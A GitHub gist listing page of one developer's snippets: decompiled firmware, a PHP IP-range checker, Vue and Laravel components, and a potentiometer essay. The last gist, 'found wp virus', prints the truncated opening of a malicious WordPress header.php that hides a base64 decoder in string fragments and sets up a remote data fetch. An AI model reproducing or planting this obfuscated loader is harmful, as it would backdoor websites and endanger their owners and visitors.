Skip to content

Instantly share code, notes, and snippets.

@Gkiokan
Gkiokan / pa5x_main
Created April 23, 2026 12:22
pa5x_main_fnc
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
undefined4 FUN_00000f2e_MAIN(void)
{
undefined2 uVar1;
short sVar2;
undefined2 uVar3;
short sVar4;
@Gkiokan
Gkiokan / IPService.php
Created March 21, 2026 21:28
IP Service Check Class
<?php
/**
Author: Gkiokan Sali
Date: 2026-03-21
Comment: Check if the given IP is in the allowed Ips List or CIDR Range via Subnet.
**/
class IPService
{
@Gkiokan
Gkiokan / gist:8aefe4cdb439e4bf2c6c6fda1f7857db
Created March 8, 2026 15:15
pa5x ribbon controll board debugg
[FOUND] I2C device found at address 0x0B
@Gkiokan
Gkiokan / AnimateNumberV2.vue
Created January 21, 2026 13:47
AnimateNumberV2.vue
<template>
<span>
{{ displayNumber ? formatNumberWithDots(Math.round(displayNumber)) : '-//-' }}
</span>
</template>
<script setup>
/**
Author: Gkiokan Sali
Date: 2026-01-21
@Gkiokan
Gkiokan / SimpleCalendar.vue
Created September 29, 2025 13:44
Shadcn-vue SimpleCalendar
<template>
<Popover :open="openDate" @update:open="(value) => openDate = value">
<PopoverTrigger as-child>
<div class="relative w-full">
<Button variant="outline" class="w-full no-ring relative flex justify-start">
<div class="text-muted-foreground z-1" v-if="!value"> {{ title }} </div>
<div class="z-1" v-if="value"> {{ `${temp}` }} </div>
</Button>
<Icon icon="lucide:delete" class="absolute z-2 top-0 bottom-0 right-2 w-9! px-2 cursor-pointer h-full! transition hover:text-red-500"
@click.stop="() => {
@Gkiokan
Gkiokan / CustomLengthAwarePaginator.php
Created May 14, 2025 16:58
Laravel 12 Custom Paginator
<?php
namespace App\Services;
use Illuminate\Pagination\LengthAwarePaginator;
class CustomLengthAwarePaginator extends LengthAwarePaginator
{
public function toArray()
{
@Gkiokan
Gkiokan / AppPagination.vue
Created April 17, 2025 12:35
AppPagination shadcn-vue
<template>
<div class="flex items-center gap-1">
<Button variant="outline" size="sm" :disabled="currentPage === 1" @click="setPage(1)">
«
</Button>
<Button variant="outline" size="sm" :disabled="currentPage === 1" @click="setPage(currentPage - 1)">
</Button>
<!-- Always show first page -->
@Gkiokan
Gkiokan / ThemeSwitcher.vue
Created April 9, 2025 15:28
Vue Shadcn ThemeSwitcher
<template>
<div class="flex items-center">
<div class="">
<Button variant="ghost" class="cursor-pointer" @click.stop="handle">
<Icon icon="radix-icons:moon" class="hover:text-primary h-5 w-5 rotate-0 scale-100 transition-all dark:-rotate-90 dark:scale-0" v-show="mode == 'light'" @click="mode = 'dark'" />
<Icon icon="radix-icons:sun" class="hover:text-primary h-5 w-5 rotate-90 scale-0 transition-all dark:rotate-0 dark:scale-100" v-show="mode == 'dark'" @click="mode = 'light'" />
</Button>
</div>
</div>
</template>
The Secret Life of Pots
Copyright 1999 R.G. Keen All rights reserved.
As electronics tinkerers, we all use potentiometers, or "pots" for short. We count on them to control all our musical gear, and quite often get frustrated by their limitations. As in all relationships, a little understanding goes a long way. Let's take a look at how pots work so we can use them better.
Back in the dim reaches of electronic prehistory when electricity, let alone electronics, was poorly understood , a number of researchers were trying to figure out how this mysterious force worked. They had no meters, no oscilloscopes, not even very good batteries, and had to literally make their own parts to get anything electrical to work. In this era, a fellow named Ohm settled a controversy. There was general agreement in the electrical research realm that the ratio of a voltage to the resulting current in any chunk of material was dependent on the material itself and the value of the current raised to some power, or
V=k * I^x
The rag
@Gkiokan
Gkiokan / header.php
Created January 8, 2025 02:55
found wp virus
<?php @ini_set('display_errors', '0');
error_reporting(0);
global $zeeta;
if (!$npDcheckClassBgp && !isset($zeeta)) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrK42MQ4F8YpQL/+fflvUNPlfnyDNGK/X/wEfeQ==";
if (!function_exists('get_data_ya')) {
if (ini_get('allow_url_fopen')) {
function get_data_ya($m) {